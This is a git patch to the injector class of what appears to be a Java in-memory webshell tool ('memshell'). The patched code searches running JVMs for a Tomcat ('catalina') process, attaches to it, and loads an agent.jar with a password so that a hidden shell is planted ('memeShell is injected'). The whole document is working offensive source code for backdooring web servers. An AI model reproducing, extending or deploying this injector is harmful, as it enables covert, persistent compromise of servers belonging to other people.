From 1cc76fa340ec570bf30de356cd1a6995c2a47b2e Mon Sep 17 00:00:00 2001 From: rebeyond <5929401@qq.com> Date: Wed, 23 May 2018 23:52:05 -0700 Subject: [PATCH] change jvm finder loigc,fix some bugs --- src/net/rebeyond/memshell/Attach.java | 42 +++++++++++++-------------- 1 file changed, 20 insertions(+), 22 deletions(-) diff --git a/src/net/rebeyond/memshell/Attach.java b/src/net/rebeyond/memshell/Attach.java index e292428..809a2e4 100644 --- a/src/net/rebeyond/memshell/Attach.java +++ b/src/net/rebeyond/memshell/Attach.java @@ -1,6 +1,10 @@ package net.rebeyond.memshell; + import java.io.File; +import java.util.Iterator; import java.util.List; +import java.util.Map.Entry; +import java.util.Properties; import com.sun.tools.attach.VirtualMachine; import com.sun.tools.attach.VirtualMachineDescriptor; @@ -9,51 +13,45 @@ public class Attach { public static void main(String[] args) throws Exception { - if (args.length!=1) - { + if (args.length != 1) { System.out.println("Usage:java -jar inject.jar password"); return; } VirtualMachine vm = null; - List listAfter = null; - List listBefore = null; - listBefore = VirtualMachine.list(); - String password=args[0]; + List vmList = null; + String password = args[0]; String currentPath = Attach.class.getProtectionDomain().getCodeSource().getLocation().getPath(); - currentPath=currentPath.substring(0, currentPath.lastIndexOf("/") + 1); + currentPath = currentPath.substring(0, currentPath.lastIndexOf("/") + 1); String agentFile = currentPath + "agent.jar"; agentFile = new File(agentFile).getCanonicalPath(); - String agentArgs=currentPath; - if (!password.equals("")||password!=null) - { - agentArgs=agentArgs+"^"+password; + String agentArgs = currentPath; + if (!password.equals("") || password != null) { + agentArgs = agentArgs + "^" + password; } - + while (true) { try { - listAfter = VirtualMachine.list(); - if (listAfter.size() <= 0) + vmList = VirtualMachine.list(); + if (vmList.size() <= 0) continue; - for (VirtualMachineDescriptor vmd : listAfter) { - if (!listBefore.contains(vmd)) { + for (VirtualMachineDescriptor vmd : vmList) { + if (vmd.displayName().indexOf("catalina") >= 0) { vm = VirtualMachine.attach(vmd); - listBefore.add(vmd); System.out.println("[+]OK.i find a jvm."); Thread.sleep(1000); - if (null != vm) { + if (null != vm) { vm.loadAgent(agentFile, agentArgs); System.out.println("[+]memeShell is injected."); vm.detach(); return; } } + } - Thread.sleep(5000); - + Thread.sleep(3000); } catch (Exception e) { e.printStackTrace(); } } - } -} \ No newline at end of file +}